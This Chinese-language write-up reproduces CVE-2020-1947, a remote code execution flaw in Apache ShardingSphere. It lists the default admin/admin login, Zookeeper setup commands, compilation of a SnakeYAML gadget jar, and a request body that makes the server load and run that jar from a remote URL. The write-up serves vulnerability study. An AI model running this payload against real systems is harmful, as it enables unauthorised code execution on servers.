menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-1947)Apache ShardingSphere远程代码执行漏洞 chevron_right (CVE-2020-1947)Apache ShardingSphere远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-1947)Apache ShardingSphere远程代码执行漏洞.md
    2.34 KB / 2021-07-15 19:48:12
        (CVE-2020-1947)Apache ShardingSphere远程代码执行漏洞
    ======================================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    Apache ShardingSphere \< 4.0.1
    
    三、复现过程
    ------------
    
    Sharding-UI的默认密码为admin/admin
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId24.png)
    
    顺带一提,在`conf/application.properties`中存储了WEB端的端口和账号密码。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId25.png)
    
    ### 安装Zookeeper
    
    要想成功利用,需要先在Sharding-UI中添加一个注册中心,否则在后续利用中会提示`No activated registry center!`,所以需要搭建一个Zookeeper。
    这里直接使用docker搭建Zookeeper,并且将2181端口映射出来到本地的2181端口。
    
        docker pull zookeeper
        docker run --privileged=true -d --name zookeeper --publish 2181:2181  -d zookeeper:latest
    
    ### 配置registry-center
    
    在Sharding-UI的registry-center模块配置Zookeeper的地址。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId28.png)
    
    成功连接即可。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId29.png)
    
    ### 生成payload
    
    使用SnakeYAML反序列化小工具: https://github.com/ianxtianxt/yaml-payload
    修改`src/artsploit/AwesomeScriptEngineFactory.java`文件,设置为弹出计算器。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId31.png)
    
    编译生成jar包:
    
        javac src/artsploit/AwesomeScriptEngineFactory.java
        jar -cvf yaml-payload.jar -C src/ .
    
    然后使用python本地搭建HTTPServer,等待连接。
    
        python -m SimpleHTTPServer 90
    
    ### 代码执行
    
    在web端的Rule Config------\>Add Schema处加入YAML代码并提交。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId33.png)
    
    数据包正文:
    
        {"name":"test","ruleConfiguration":"encryptors:\n    <encryptor-name>:\n      type: MD5\n      props:","dataSourceConfiguration":"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:90/yaml-payload.jar\"]]]]"}
    
    发送即可成功弹出计算器。
    
    ![](./resource/(CVE-2020-1947)ApacheShardingSphere远程代码执行漏洞/media/rId34.png)
    
    
    links
    file_download